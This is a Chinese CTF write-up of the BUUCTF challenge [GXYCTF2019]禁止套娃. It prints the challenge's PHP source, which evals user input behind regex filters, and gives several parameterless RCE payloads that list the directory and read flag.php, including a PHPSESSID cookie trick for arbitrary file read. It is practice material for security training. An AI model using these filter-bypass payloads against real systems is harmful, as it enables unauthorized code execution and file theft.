• [GXYCTF2019]禁止套娃 无参数RCE


    复现一下buuctf上的[GXYCTF2019]禁止套娃

    BUUCTF增设了waf 所以fuzz都不能用了..

    Git泄露,不知道为啥我的GitHack扫不到呢?(头大)

     

    <?php
    include "flag.php";
    echo "flag在哪里呢?<br>";
    if(isset($_GET['exp'])){
        if (!preg_match('/data://|filter://|php://|phar:///i', $_GET['exp'])) {
    //禁用了伪协议
            if(';' === preg_replace('/[a-z,_]+((?R)?)/', NULL, $_GET['exp'])) {
    //递归匹配?R 详细讲解,但是没明白为啥可以检测括号里的内容
                if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
    //仅用了函数关键字
                    // echo $_GET['exp'];
                    @eval($_GET['exp']);
                }
                else{
                    die("还差一点哦!");
                }
            }
            else{
                die("再好好想想!");
            }
        }
        else{
            die("还想读flag,臭弟弟!");
        }
    }
    // highlight_file(__FILE__);
    ?>

    先熟悉几个PHP函数:

    scandir() 扫描目录
    localeconv() 返回本地数字及货币信息数组
    current() 返回数组中当前元素值
    next() 指向下一个数组元素,并输出
    payload:?exp=print_r(scandir(current(localeconv())));//遍历当前目录所有文件,得知flag.php在当前目录下

     

    熟悉几个PHP数组函数

    array_rand() 从数组中随机取出一个或多个单元
    array_flip() 交换数组键和值
    array_reverse() 相反顺序返回数组

    payload1:
    ?exp=readfile(array_rand(array_flip(scandir(current(localeconv())))));
    //没理解为啥要交换键值

    ctf中常见的PHP输出函数

    readfile() 读取一个文件写入输出缓冲
    highlight_file() 高亮度打印文件
    show_source() 对文件进行高亮显示,读文件内容
    get_file_contents() 把文件读入一个字符串

    //笔者思路多用两个next()就能指向flag了,可事实并非。后来在本地测试执行,下一个就会自动跳到下一个键值,可在题目中好像并不能实现

     这个时候就需要用到上面所贴的array_reverse()了

    故payload2:?exp=show_source(next(array_reverse(scandir(current(localeconv())))));

    下面还学习了师傅的另外一个思路不得不说 tql

    session_id可以获取PHPSESSID的值,而我们知道PHPSESSID允许字母和数字出现,而flag.php符合条件.
    因此我们在请求包中cookie:PHPSESSID=flag.php,使用session之前需要通过session_start()告诉PHP使用session,php默认是不主动使用session的。
    session_id()可以获取到当前的session id。
    这样可以构造payload:?exp=readfile(session_id(session_start()));
    达到任意文件读取的效果:

     

  • 相关阅读:
    线程和进程
    Java多线程实现(四种方法)
    Java中的锁
    synchronized和java.util.concurrent.locks.Lock
    Lock的实现类ReentrantLock&Condition类的await/signal/signalAll(生产者消费者场景)
    synchronized&Object类的wait/notify/notifyAll(生产者消费者场景)
    SQL语句优化
    面试
    数据库三大范式
    设计模式之JDK动态代理源码分析
  • 原文地址:https://www.cnblogs.com/nu0l/p/13497363.html
Copyright © 2020-2023  润新知